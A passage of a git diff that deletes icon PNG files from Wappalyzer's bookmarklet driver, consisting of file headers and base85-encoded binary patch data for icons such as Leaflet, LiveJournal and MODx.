zonN(mVeyPn1~nPIUk?>_LVizcTcoSI7p+W$Wfuw1dA~i@grfaGD&e7kr=vT%_OtLC zn-Bld(hh;4gA=}3Kd)fQNF*F*AqLctioTfMryB&ykPXB@+%Fmi?~3+G19v;4786p= zK>H_zv}3i6byseeE}iyf(L|ghL}q|0;vRTX#uX{zV!MPTI$I(nx_V+wx7zBjweG9> z9ZQuc@xqWn@paueTGLp2`S#H>*Q(FoP@z}U60#)c^&JEJROT28-c$;wf@of%_ItMo zfdmkdal@o=-j7}s7ZZGIlJnXQ(oemx?4mN@kQN5Oe*x}lQ!YOt&*A_8002ovPDHLk FV1fa-Ed2lg diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/LEPTON.png b/Wappalyzer/drivers/bookmarklet/images/icons/LEPTON.png deleted file mode 100644 index d444b75f3e65a057bd6d3fa2657d4b1af9acc4cf..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 393 zcmV;40e1e0P)%KdVyQ}f4d1BV`Icia=F})2P2HULD?$cOT#i7&ojy2b*MF(M@r;iz@Djg_T}@et=6gadtYPdAgZ~L0(k(jma|so zs5N~a+Rp2jXsHu7Pm%yA5NAnid8>@6t!Sy3WVpFV1PUe<*;%DIts1?%K!`kGHIE_! z5bPjoc}MI%#imKTYKGYWh!98uNH_}wU{SD0*_q(xnP9+~0Gu(Aoz=AxH~$JIg-kFL z0ys03ET_^u6HE#@4kBeyanMzq<^@SqI7^WTFri8FWPN*=pF85OAc+fAUBCb8Ud@H1 n?Z+ElCh7X^cXc)Yt<=CDIy>^EwDhXd00000NkvXXu0mjfK!LAY diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/LabVIEW.png b/Wappalyzer/drivers/bookmarklet/images/icons/LabVIEW.png deleted file mode 100755 index 173016d28700444325559e2a7e0ca6504b280707..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 180 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GbL!M1W6->;M1%uiXEC=FI7D8*^Ae>&I+z|V3y4m4YB%V6i~&{^Htzj71yt) bFTSzuQeoPlP)o`%Qr8>(g$^Db4>HKPuJ)C4}ew Q)Bpeg07*qoM6N<$f~Y8mvH$=8 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Leaflet.png b/Wappalyzer/drivers/bookmarklet/images/icons/Leaflet.png deleted file mode 100644 index b0df5eef3ff0caf3fd98a94318529c0ee09d45de..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 424 zcmV;Z0ayNsP)K|p@Wg+=K=dNdhX4Qo0d!JMQvg8b*k%9#0Rc%w zK~#9!e3LM6a2 z-&W@%Kw$c&iK@DMGSDV}IIOxPKxQ>q16g!dlf3G(atjcf%`v)x#h9~cA%R~ z!2QIIWCQRQkhq;=)2+e_{59Z;p49CC>6~KG4A5p7LJ479LaQM~;+Xcl>u44! zjdgr&(%MWZ_AyqTriTzxlgmc`2rvNg77cgm SOisH10000SGAHK3HmRlLyekD%!GOyJ?$7h%K0UtcYSdc`3EWsp6 z97G1P%wo?eD4LGSqAcP*onX?_)6vq>0?BC3u^PaBgs^7Uas26)VF{BFZVp4Z#RQJ* zO)#@eCRsG2zlYE?f~so>s5%ryhhNp8JeC&3peKNpC=!imGx^6@h>P-(&d$@cR6$0DLSF{eG6h*Rc3{O=IaAf?OlQ zEMryKQTVw=Y;0_W-EPk`wg483<#{kI*KeT16A1$f>d-YE2+APRLAnf$CouEmipLHwv_^tp!M@%rKMdC}WHh|#elkUU`wqDNRTG~`7f5a8dvn36CWGbfKl zM3@9!QAJILYpQbSLnw?yKu}X*Ksw)`>hP%=-q^AXD;LdzL3ghU`IRRiOD23=YsJ_x zu`qc3!29SP&~c`Aqj*jXW@hg+hUL6Tf&uSw9Wk~~8YwxeoD7y(-=x&sYN|ciDEzNC zexnsd)%3;17U93Vc#Y0n_(80%|9pcAch=IWvyC(}Yb!b0yF~sYdn0YCI85)^KBc4u z#bi5wS>)T=+AbK!?jSK89i5c2ppcSZ-cAPD8}_j;qX&|uObXrnWL$8(|VizQXdk=eP#^UWX zWzjY|aqcUTb2uDcFmO7Z-x71I{yZhTw1Es(SohL|j6!mIyu$CTJx;5wRYI$*m9(<3 zf+o!_potmlX+zloy3>A-7`oW}6D7{IQu5paDz7<4KA%tIYwA9vqqZioZf$Mt0x(Jj zV>X-5f=QV)7OE1!gRUMhs4mS%@oS4=|NN5hm8FG9OG`zsOF@R7+U=F;V>G%T!~j!ZAM~hCLDh}M8Wn$n6+>n3byXS`pp%XmtBCj-mS;-bvv;BqBUKZR3sukt3oa@igHNl=Mzb vnbOC@3i@DJUo?DJdx`Dk>Z}YJaujS#6S?$LXQT>a)`Ax7P2t*6;rQ z{&LddWxrEbeDpUo&z2{ zikGpAn6iM6tDeZ|pvmdA)$Uhokgn0}uh8wU(e1F%?QMLGwbSmk)b3kvlR8diV{?VL z*YCO4@4MLVa)6P|;q%Vn^JjL5g_N&VYLA!1=TK#gveE6b((SU-?VHBvyxH(SQfaZ! z?MGQ}dy1${Uvz$ontzU}w$<);x=Pnkm9Ou?mpWNoce5S$&rg;Xt^r=Um+fWDyo@ns5- zXB@siUPr@>4|{Ul;z71(`!K1E|G$1`_X0p%4aFdoOGML77$&WnpB<`V<9_BLxDIMF9~IL_y*H zC|j{25jDyd(x-}?Wy3bJ%(gYR-TU^O)#`e8E^hN~(hENr?CyPj=iGDeIn!uVter2W}?)H-5 zfGrb&7@+CG^}I&LgLd+N36s3~Uk9k-kV72-TwJ8o=#u3nDb>hmh^iYNsv>Zi*JKAq z9}LG71w#1lNuQ4@4m)NnFw7IU-TsCf9E%Cme9c4KYiz3Bf|LdZG#5pYE8uuMlz1{! zTZFs@-7iKGVS*s?1?qArP&1lb1i+mEul>zcqwR=j{Fbv zvliHM+{pst9EoG>_bWFvvPW$V=;s78R!?^t3Mqs~LGSv?2Rel9=1s%kkiT=)#h=#rfwWk-|SGP54lx>OUcjVh*?o#@Mv7DZX#}wbRB4w!+Px2Tqs)zby@J&O<*%5wJSQ(-j^0+S{mg`kTd2qK^x7}V_l3-s0wW9`-O QUH||907*qoM6N<$f{q+gNdN!< diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/LightMon Engine.png b/Wappalyzer/drivers/bookmarklet/images/icons/LightMon Engine.png deleted file mode 100644 index 6d627ab1d9ccfa4dce1224f8b63e4bac6dfa4b94..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 684 zcmV;d0#p5oP)%uKd#819e8t>hkLC0Etfpxj00#kd_ME}1)k;_{m(tPEo2Q`8 z;u$uG9ck)US62ek*grWrdC6e-4F>9Zy;e62>h=2WX!P?wtA^XYps+LAGnve{R4Vm@ zdvxk~r_=GX6Ktd6_xmSauXoNH7K;VOLKhAW4!$N5iLTXZHSDOC3j&LDI`a5|l1uu}-&W;-~M=BSbtQxnX` zM7nmKWm)Ec5tswEgiW>ZHL@6NCG}>;H}h^z;Z3(pP|XxwG7&ZNr~g^TQ~wPXYG0ZM Sa`~G80000^~g< diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Lightbox.png b/Wappalyzer/drivers/bookmarklet/images/icons/Lightbox.png deleted file mode 100644 index 5201c066830da4454b31bf9519b30db64353d66b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 158 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!73?$#)eFPFv4DbnYH8wW>|Nno}rKqNhQT1mc zYfnVvtq#aq=$A6hJFd$!yxO($>wYhwVy2QHzu^B2Pq!O@cv_w=jv*Ddk_8eNnBCY^ z9>g%DYOn?zGvMuQFqkss%7LED%*;rh8w_V88Q$@*2j~f`UjWp_;OXk;vd$@?2>>B- BGll>F diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/LimeSurvey.png b/Wappalyzer/drivers/bookmarklet/images/icons/LimeSurvey.png deleted file mode 100644 index b87768960549b5d54a0caa61b8668ffaef989c87..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 633 zcmV-<0*3vGP)V;Tgs(UxJ5;!?R+DfbFR#enfhRBVLtOa_27eL7WW2>{Qk!k6d$4Z+* zB`;@z@y4NzSOM(OF1wQ*cCSA#YnB6^n!rw_`rK@)E4Wse65m>GAskKj*b~WicE(%4 zFB#(PLVj8<$Z}7)v5}1}ecVfQ>493oyo-GMv1fxlEY?sjfzpuZ5x%`u&uc$9@CTsx zBHA_SLn+gFsWocLxUm%Rl#uQRCn0!6!t$(K3u>GOD$*cKIEqsT2i3{kDmRnqj!~?* zT)FQ}hSlw7fI*-HOaOCBI%iRw+0noH?)iP2vO}$t%tZ@)4MAd-%|p)cotbA}fG2-D zgX+DAWV<_W-#k2;&GsE9rq>Y{Lrg5Lz{&v)u=8Jcbbyg#Tl8>Jzs5vqjQxQ@uz&?p zX$7#N8DQ7??h;;b6+z>fd8$U^8AaU+z7d)|l>@W|jzb}=Bfx^ylp{sOD5{a-YdHj% zX$B~MtSJJmP-5||P&JBTq$wN4`&qvPJZc7*c##Ju=^#Le;2A|FQoPFteE960QzEs0 z0R&*%b@%0w{T(@13nAcz!kZb7i3jByg;6_(#Rq(#-cUmz(g3AdW4^Qnx$nMho%*y; zd;GBcYI@weTpZ^S&;q1@B#;2yMdu1I0szE-UfoA~RQT=801*%@Zf(qPv2T6>(EH~} TE>JKo00000NkvXXu0mjf=>#M> diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/LinkSmart.png b/Wappalyzer/drivers/bookmarklet/images/icons/LinkSmart.png deleted file mode 100644 index 4499ea62eff0f094daea0d9a8875cc16445c5ae3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 900 zcmV-~1AF|5P) ze`t+S7{~7~>zXRi1OO`nL@LzvQidBr9~`@v@oK?5~@g0 z0AU4i-R#}jtjsC(CMKL#KIOH<5(gDwTtI~*tvb7p4=z^hSAi!!89-xtOKoz723e8uune^ zOb4Z435auknIk;lSZmk(>#3vCq3}EqTor;=aefqdq*&oDD9qQq37@u@?+aFdSKRm) z$40&%4(=-od;|l0g5#iWK^iiD(Y@#sNdCcZnaneB9ILmRlu_CzWIG-I)=2#gM zW57+ZQHHVGl|aqIuYuk)zqE>^%oRRVoVq;^VNz&TB$*dr3imwYQQ##Q?K)kZa|)l3 zHj;6&ouL5~3;*f#_)497`UxK4K{uxV$`Cuu%oh_0sKIl3}Z0vj9$lKI>uk@H{& zLvIdK?MRaY9Oq5&c`TL7Du-#&Jik`a*2HcZC~&T-5G2K1lHMK_6>%$t2TF8Q$rNrk zIUy9V_nZ>%Q{Wi5LvHc+d|8T>{oDd%=$F$IV4}wH{@dc+M)1Ys1HZvhS|BE_qS=$2 zE^$px{7)2SGK=qt`PW^9pxyYKxCV1g*A-tfV~xE^E&J_v9Hx|c|Cu7twZh-bCiXk+ zQDCL2fG9LOMLU&YT{j-zB&u9iQ6kN83-{XY6eg=crQ5=3iWGxtR=FSG02pFA7#1a8 zvN8fcgUPh$TPhX^rH_CjFfN~_qky%($eFJY^+EHCCi=ocaYfbwjbJA8O0>I1BBVSbpFgKynj!3Ehz^u$;42wLNb$Q33JTmfs{ aI`9V%?p%fJ**ic00000Ty|EqTYFQ57U%-#QK9sg&p`oH_k{})UAy?|Q6JY5_^D&mqGnB5#59XXmE112<{ zlsHu&!ozGlgH^lhAP=AC3MsunR*vSxM=Bc5!9k3xY9Fxx6^3%1Nl1Dyg~3QdBBESI ngw42u#Z}xvC)6yVftjIr3FlFP;`?)fHZXX)`njxgN@xNAHp4~u diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/LiveJournal.png b/Wappalyzer/drivers/bookmarklet/images/icons/LiveJournal.png deleted file mode 100644 index 59c6f4558d65802d7c540b49e6f18d94bc3dcf83..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1853 zcmV-D2g3M?P)Ep&ehF00006VoOIv0RI600RN!9r;`8x2Fgi9 zK~z}7y;liPlSdQ=TdKC5TCKKft#}h+03`y&6GTQqjDQ40kwdOPAS6I)@GdBLp(Z2{ zAOVW^QOV6^J;zi)L9LzE9y)EUt#(GMZKobEuWx@zOb{ig)1BG*|INR<@7wpj_q~ms zT{q3!FL5}1N@V8vN#Q3ZxJO*1dqn2X3C?h^`#+l7)Mas_7@;uUbrA&mM8kaF7#NM? zi5^P|ZCRgLqJKS2s_n}y()3H0Y5S+)Gox7RkiYl1eUFRj%t+-3dI%ikuY?BCT9`9^ zDU5bn03Xj<4vzRcf{TCF+KggdMv7SV6=$dFPV!C_kj@dCpSM%Q>Tfbj4PnnTK4oT{ z&oEjr9L`(?8-@7y4UE-QjWm9V-XmSAU54K)Ib!uA0tV-u$=h}8ou>edcVo9FvJzoy93Li3 z4u_4oa`@8N1|1#kaQWM-5ERO%yfDs<{U=|1WC(7o#*_UdEUWdmHM|J$NGFJg8+M;~ z)BM5JJ8CG2a~__2#Kch8oUeewEtRlttqk0}m%&)KFc210LxDmEqb7#HEVk%(dDG8> ztBrs=NLf!a0|*Ee3_>qF3Jl@Hru=dkjVBG}iNQa5JxKN)2c@nF zl-ee!&^3d9m=H$Mga1z6cIX5G;P>Qu%!c(zXpkq^YPdv>L04?$cw^9MQ1* zv}l+Wu?kX(w2-u;23%&uQN~TZy1o?{UQsaCHSBIscvfFq;x8!Cr;$^e#>fK=g1Gk7 zL>hCkg76`>U>}&$DPh}T2v5$Z44Xh~sW8BYSW|b8wEhBW#hhg zx}6xBm_H2N+c7=#6W~ZR6aW&Axp5ny_|PeU!oq!T zKPz4p9zM$#JJJ_IVA5u@7f7EpGakxRMhj20z~mXrkq?V*c=^UV^gzY{^gw+lm`L33 z`csp#%M50BI!}q*J=$dv#1-tf;=`i&4N!@O_cUIhdR(>?Mxcr^JeTZveh4%iez88j z^L-_9;Phk$uea8SGkvQl{9 z_QB4!KzmwLUgtPzYV>fT4}=ed2NZyi9Js75g!|{q zsNQ~|9ICdirnt}p0E0OriZp*%eMI9->;oT5YVB|=B&nuv%;~W#qKW|t1rz`mUk<<} zr5V73)-t%HDg>e-a~7lz?mqq+si4H*P2O{qb#y#nqxs|ZLq_`*iaMSJSmDc)2f8~2R>@x->A|2W&4a(1JS0H6ce)Kg}XeGI5RZ?QXAXvlHG!1A5|W7msjQBM?yWf7n(I_s+_J&SZl#b8&o^ zl#b3(HVm`yZUq)5C##J`ih46@tZJuw5)^OW#E~f3xuaad?h>~PxfzuE$yJWVjL5Sv zwv=C@V_A5Y$?ckYq-{BHl8U#!=}P|;iN@HQJ0#vEl2A3TjzPU3S>WUzv7h{&B{%qG z$_>6&Ss>LOfBuD1t`EZe+-uj%hHkg_2~2(8dCKBbs2j~ItB>p?CoAf zLlqNp9{;bqkHtfaV;;(?AKvkqC@=xY?kr4M1D^OM){YX)@v(NVx~<=J>;v4q0*$tz rp?~m6{?W7}s2|bzQLJzYFKgpJr~(4x?P)Z~ z{QUnX5Lt*yhELzVgV7J5x-Z|q@3^vl z#<8wRhns+C@}Z`67Z$(y^aiL6r~smj0jLSc0ty|vwXb@6TGxT{$wwL{9Iop>T-$%J zwrOvE!N$ndrxybiKvXh7RPVU9DQ&H9)2{rQJt@=A)$h5#e&4-~v(C2^Z;z_jni9L* zY4YASusz=ye*XIZ@XZ6ySvqZdN~(`VJ^p^{KN9%x`&Is7&(t;Ew$o&f-P!-=?|%lM zXwlj@-z7Th@6UuNT6=$5`^A*Dizy3kflU4L|5xH6WA7ze?o$nbT!#OD|65Lw4B4x; z^lleK!=ukP%TD=Mp9#-8>d*?(*6O!gI&7b+d@IApFP|A+zJ04Vli72x@X|XyK-JT) z*9PuYNIYbcc+e#3fVSHXL8A=}Z5LC0_ez^CV!iR?Cc}$&Z+y4%`tFvgIvZlLfx&Jo zd+=W6z&%Pqdlj9w@poR#2AXpC#TJKcJpMa*Za=%l@aOmc{3F`Y2h}}xil2J5YvR>X z+b!&&`&8U^2pxU772?PpkC!{`;LkiP_wMs&24H+mxsY0QQQvVJ|Md?SfYSX}iamEq zc%XNp=Ugi^ z;@}Bs^R2~QmyH%YvYmb3sq2P05Y4*pH2q81Ei|a%j~@U4002ovPDHLkV1g{jh*AIm diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Livefyre.png b/Wappalyzer/drivers/bookmarklet/images/icons/Livefyre.png deleted file mode 100644 index 5bdce71788f5b99f0a1fc70fcaf5d8f2e6776386..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 653 zcmV;80&@L{P)1v7?!81vpO|`;u{Ac`|(MFwn&OHIa<)n7IMGzNc>d^MhM>Axt10vp5>t^8@|8y%FmWcJX!a z!7jdrNI3@KQIfMX(py7jR#ff^h5^{9~>j@2nLmC!}?<3MA;EUc9b*1adswY#;D(oET<$=uZMbNGGVL2TJXNATlKt zfA%+C`(4~DpQOWajPXGlq$BaelO&jE7JofrX#rVy38M_E?ID&5k#t;vQGfseNE>3C zi9s?m-vYwUM&=fwKfQzDZUTh{Ar*-2V<7>p5uUY65`8Ox2PU?T?tY1rt&r()FaiLC z!2sTrkIX4gP6VXpHL)5&bv%KY5Hdp}91xB{xCZGOycx~bWExgsWmAF&;$VJ@b*kou z>1|18UZE`;<$`dx-S?Na*qqPDs;ZC3vdb;IC2>%eR9*C=>sKj1Qm6X+P#;#nm6)_l nftrN>fzNr`sKPe^w{RL%pAzHNl)Cjp2pB#wDlyKmf~_w`N>9}#fY(4hJ z{}!O%Y}!P+_B4|BkeUk$iGTtD$QTq5{|pdn-4H&YbNNAe;Ojr9EkIA+b-%X8_ee@l zKM6q;&?__jJh z$*T*%)@%te5#l1ja%2-z{eZ-S47Lu+u5)9eCwA)tlhDNmwueG7jTcK}~TmvJ3=Y5g-XfC-nu$ zwDm=Tm0QqNcfjuNymRSHXLaKkd_zW_ts5NaT}1-^P81g|+z zKIbOPy&k>!VVJ)H>Hi6aFM`(Wna-^h(i}0hb_g(-VYClcY(!V@MEZV$p6@{;-XEcm z1h>3EL7T9m3tip?*G7@Q&OqN;AOaPTOOPZmiD>&5&LEc(%!^Q)RV>y7tz3jl0IkZ3nC;;Agf_5_@C$}e zR7T1g0!W5Xm5wGu!Y`%SRS`MSD0>-$2@kOZ0krL^Ce$g605W2-Kyj!P5qP*Wex8-e zfms|1aS7i-70@d#07jgdHWBtF68yV@lWPeFNHF0>o^fQs@_)Mk4Pz*d>?&|Or{2X5 zPYLc;2<>ip6KWg)_jGv5*&?_G0it!TxG-hvXEkDpkVCsTzt+jaxC2s0#hVeP)-;IQ z>dcVae;q>+tK!M*w%4iXN` z0jd0OrG2!#Or=?k+yeijqN;-~Ah(7Jq1SRs-2iW_Sn{ab>eFIDLCeWOA(usRH3U$V zbQ}_GI;)CXnA|52w^`j{R3M7wZ9ij7M(Sg0y=Xscf4IYYukr1D+yfI<=@WHEBf zVb%-wT!LK4-6`Y9O4Dyb01l9AkCXK(IYY`AOoW2AO+>9`j%3f7GcMYT?=K@tiZ1|X zivY)`z#Llnb+;;;dWD>EE6oKFzx4>-7paJLXmO*dZ;!n)TmkQ52u#Jx42~|Mk&l)c zFX3*O0K`N@2==R&fTTF=`(!>$Z(a<%=$5zuhocT`*9qNB){9`Zv(;>OyR(!~3?{mf z&M?xv9e4y7#_;a~9H)R=w83*^O{iIkdW}PePYje&wRAv7(@tO`@H2*)3vj$&KQhrl zi}y;6DWU4*3Z&ek!Lz_p;0V(|#q^PY=bOX&R&4=?K)X=!32E>SHTE$>1ZIv)z-Ag@ lJ1KY5l25415-{=^;vX0vvI@AHok9Qr002ovPDHLkV1jBocr^e3 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Lockerz Share.png b/Wappalyzer/drivers/bookmarklet/images/icons/Lockerz Share.png deleted file mode 100644 index cd1231f4194637b6b20c6a933ebea7a81a6c0dde..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 249 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GbL!O@L2`>whp{Nc+!|`(Lo&fA8-9 zTsi+)GX8UB|7Xwo&z$j}HS@n%@qd+?|8f=onbQBO*Z!Zd=RaTGf5!CxZ!E<=0nK47 z3GxeOaCmkj4amv%ba4!+h|BGF=R4rQ!OVNR`qcmbQW37F8hbP0l+XkK8HZ%h diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Locomotive.png b/Wappalyzer/drivers/bookmarklet/images/icons/Locomotive.png deleted file mode 100644 index 21482d022a6bfbed940175b1e07697f8e8c29fb6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 680 zcmV;Z0$2TsP)`$h(w!2<*Wfj}S-2m}HTa0U|29zAyay<^8u*tc&#OT) z)~;PcfTnH1Y&LWH^qUguy4DYax*mZHRL)k zM1Tw>XLUW&_XD{5$M1%r*L59|-+ukYcQ?MVe(R>$yb%#%2v9-Wb=tO3a#Bih@2~r$ zj4UGg^TCdYkWvy6s;ZK50u=~KDf+(GG_9s-48tHvVhBJILEm-evl#(Y*le5T;AAqf zx3?$fY*ddtnLlyzxg)x+H4KBgu2ofSVPVnY(vr5B!(PGu5YJ9mrk0nNO{XhHFdgVk42W*TJd1tekY(%k*AAeNW|f{mp2MJ1`4oV_Rd_ z!=a(-%xp?+daOOXrDTpA^9ly1!r_4(=0FD=8hm<~^joBiDNY0Xm2%Nfk!PA`(i*yo q9IWU>$0O;XKaZZtuK&`0{##!{g=hBBT=_Eq0000*xNzII{ZPJR6u#>O-2>klw6RPpk*GcZ*1^S86I0+m&Aa<()! z9_Z{m($#gexA&N->1->jx%~VcVq)E_tjz)f9mdA9rcFD&e*KLtTW)RNetXA`+e}Q2 zs;ZMUHK*$9PiJFm=HhDQ<_4lRLBS4d>$x^I^W5E+cz7)K^jzxYwbaLFnXm8i(9qSf zvFp>)Hm9d=DJj`iTDrTue0OE#p6cp-LPDLqylosDE#l(c;^I9L58BSjzPNt<&7C{%?%#j^;K7H74?jM7^zrG_PtTrxe(~bVt5;v& zy!rP2{rB(RfB*RL=jYEqzkdDw{rm5qKS1;k2;}7YALzBe0LGqCNswPKFg}^tdHDnc zg@h#)HC(-Xe6uQg`X^1EId|!@HJgqcyK(pagGY~Fyn6lS0Id$oL4|$WS!^?ygZ8ezr&Zy@@)fxr4pZRNUvNSt= zI}{e3le6jz|LmO=e27nqW8c=M);I^P@J@iXqvXEg9z z+_phjW6vq>-3nKme87O0jZ@&=#+!?40%SKS2mJUwQ#GCS*GgC6XBE+&1wT%G z+j96h%c79goSt?|rtPsf`uTvfrb@?(a87x?=S4epKkLuGcPi)KRPp{FkKVFZFTJq# z-er?XzxUNmFHrnFyYl5x--mI3Pu9%!?`E4+!sz}^L#!c0O*e?IA?ewU2#X70Ri6r3 znoCzZ%@g!gn80hQ749}!bjJE+TBVa2|7L&LFPhcfZ)SOa!Nzp1P@%iLPfmy4wGoh> hDIwqY)qU#&`SU+_h6)w>`~;>422WQ%mvv4FO#t3VyvP6m diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/M.R. Inc Webserver.png b/Wappalyzer/drivers/bookmarklet/images/icons/M.R. Inc Webserver.png deleted file mode 100644 index 1e3e20e1bc39002aaa9bb64355798ed103ca96fd..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1049 zcmeAS@N?(olHy`uVBq!ia0vp^3LwnE3?yBabRA=0V7wdP6XN>+|9`vmjrJKE-+%g< z+;YIXXq$P`Iv_W>^?-5Q8VfKx1;~zH15pN)0wVK7kQ%IL>CW3gaUi*L2Z%9c^%Wo+ zqSw1{+cK~$&}5+C*&DCnCM?;03uuKs*d<1BYk=Z*85`ey{0T7%$cCtd7!G7Z+ygWg zh>IDX}OU`CU2!jks-w0$w0vW;pvb7^tPFQj2 z)7M|QJx3Co_5&jVZYD5-fLss)GFlD*<0Yzg&&u6*fRP9^4XD>Tbpy~AU;ygJtTu^X z`$;0Q0T|yiN`m}?fwUmQbA~5CnwNngitS(&L(;>~iylAww}xR;KEpJI0^g%A@_#B6 zG9CGCT=4CR3B$Z>p<_;mcNBV=-M+yb!6EGR{B`Biq_2W#2o$LUyif80uy7fr;B4qMcmu7SEHmE1==2-*^t9>LQmlMtOtID22Jg5I(n*PHabocz}p{aR9I z%QmyUAyK#ES)lb9etApvOt1czlF|<*H8Gw~%9G+|9`vmjrJKE-+%g< z+;YIXXq$P`Iv_W>^?-5Q8VfKx1;~zH15pN)0wVK7kQ%IL>CW3gaUi*L2Z%9c^%Wo+ zqSw1{+cK~$&}5+C*&DCnCM?;03uuKs*d<1BYk=Z*85`ey{0T7%$cCtd7!G7Z+ygWg zh>IDX}OU`CU2!jks-w0$w0vW;pvb7^tPFQj2 z)7M|QJx3Co_5&jVZYD5-fLss)GFlD*<0Yzg&&u6*fRP9^4XD>Tbpy~AU;ygJtTu^X z`$;0Q0T|yiN`m}?fwUmQbA~5CnwNngitS(&L(;>~iylAww}xR;KEpJI0^g%A@_#B6 zG9CGCT=4CR3B$Z>p<_;mcNBV=-M+yb!6EGR{B`Biq_2W#2o$LUyif80uy7fr;B4qMcmu7SEHmE1==2-*^t9>LQmlMtOtID22Jg5I(n*PHabocz}p{aR9I z%QmyUAyK#ES)lb9etApvOt1czlF|<*H8Gw~%9G*C%C;p*oLeX&T?mI4v>3s_hfBW|R$B!RV zmLB3Zn{ey?JDeJd`;IagOmvTKIdt&w=~HK-v-=rzx+^9e#IE7p#~*SY^B4^J1uWX8 z&741H_5v}>W(J*3dAFJGKYqueVeyt53^D_r&RIiG>pxv|F5#m;V0q7e&LVD=%0~`WZCJ zHg4U!fA4|qTet7rxqH+4O*{6TVpJ<;Gi*C|{W(GdFyPXgcQY7tiyNoCef#d()$8xx zz5o3A%cYB#K7RVDU{%DR)12GB3lhE{4KLq*6|$egpx+UdR`(wRWK~XM(5@G=>wWv- z8&t!DrDuW0Gi#S^+PW80!_kwMS+#(cG|gCb8l(Ye&)$=dX0N-vdHh<>l=?AIaXU!yL{R5 z?c25=I&>Hq_aGbY-nr}M?&0X@TwPVYd)Myt^b9XA@4CAB?b~)HIDY(uhli)HpC3@^nKNfoQc@$LqJjd0PMkQ|(A3h=*|liVqQ1WV_=JS_ zAHKYP`<3C`x$|q*tX;cy-IlG}GBdMx@7|M{nR)Qwp{%Uzg9i@+9dqQ!k=e6mZ`rct fg&00000NkvXXu0mjfVWnEY diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/MODx.png b/Wappalyzer/drivers/bookmarklet/images/icons/MODx.png deleted file mode 100644 index d53611f5106d31d119d7289ffc706639889faf1e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1610 zcmV-Q2DSN#P)yAST=MSTe4;15;oluNnk|T=B6N}0~%T=&_1+%UheDfvi8ZHHc!evnCOT7 zlYdUmr~fbKI_Khltq)}+V(+r&EEnYFq%FN76J)n$TxLnir5`u!1>m2+5dUR`)n@n7 zy~}}ZUVgodcA>NozyrVz!%kIHdE(Va?)x<`z%)8~c(@U`^nn0=e9cd{w4~ea^wKJ! z832+d3?@TT!^PRX3(ns5;*XlI(ze3I@|S^^siD^o6h8($3w#gw{S^Vul?U!Bs&rFF z`Xg~J$f5C61UNZH%VWNG^S)C2mDf^XRxTrTg-z_~J6YKRyvh`rvmaoZC(rK?ZNRU9 znA*a=)%oqTu)~n7pb0RmYN^Lu?05P6Lo=+Y>i7M{)4St_5yI z5G27MCIJb8OvK2rQ~&AM%!Fc)2L#>=Joxec5Yigp@^kOi@wQ?X0;&NpEyTPa#oj3EmwAJxd_ecyfVvrm zNQ49s5A-wo?_-wr6#_}fS3$TN_$7%jKA`U2ySk-PQ!a{Q zD#WY<4qovLzw@UxsZ68Ib0IgFW4(*m5TvXQfxHpN5S2W2X-lpGpvI}1q2d^WXV1F7 zx)it8`iw%RXsAyg%{1A8Y~Jz`f%iai&zPWyF*fLZea@V`rUsJ~Y_z1NsLs}ay$Jja zczW6ieDle*Ih=pEZHe6$L}ZiC#Kx-t50#Q+V=<94Q>{G!Dw0YV=A0n|;Ux|Ozm?bz z^jIy3%{#Ae>|9>=O!Hj(l)Skr#H6$GP#*R8QLoUjsT1&qR|H`ya1tO$s>O&wiDwLm zYCveiJxe~mY}2e=b?tVIgjIjDYLzz-6feibBXJS{m;;x=r|SbJ56DQuC-waXqyd*0 z1I&!l=O0-9*+m=jk3~7^eGCYEoP<{=GdfhEJX)brHiEzuWW4HILuVNB03=lg0zjpL zz8_44sv11e2S9q@`0%@J-OY{lt89s(XWA>=M5LzFG}t3WU{yFlQ~F z*}nLmr5jssccF#D{bk>C=)&LM`Ah#Fjvwql6qo%aU<^nB4Y{UN`@9=kS1nxIy0PQB zTzh?M;CyW0tRCy#y9{B?(&pn;u5mi)DNJ9m&QA$bk zjP4dt#d+Vkv3=clKkrs*SFh^s`~802uif{v?T%qGIK=)^6L5oL(8A>MK%fl-fu!;Y z_JPIdU=Ga21d}|05u?Hzz)OPgSZ+auUcp7cPYJpK;o)F=?7o;1Nuu_yOj@Go_AC9I7&F zE)+ccz1Ux-wP*=g)7-*x5cpGT0QEh#ZEb;eMiSi?N$hh-s>mhipahf<=QWgh!yv2# zd+n0gT_6cACPWp80+GE0KSJkn_Y>FUZ_1kH8efT7=;SV9>IahwfR&#D9-dW0=D?eJ zJI6ExqP-F)C$usw>K&#luo@TOwVx6DNfY?SYu^;QI99DI3mj!7fb)CYMih2@HA>&m%owA^t^S7~**z zW?=)vDzd-74}iEINhvA1F6z2P%~2?sY0{ZBy4^1A-|o?BwHS}b|AdW3BZAS0Mx%kM z>GJ)UJUSkpF~on;;6LsIW|haQrRjYzkGyn<}td>GKb0c;WGgj 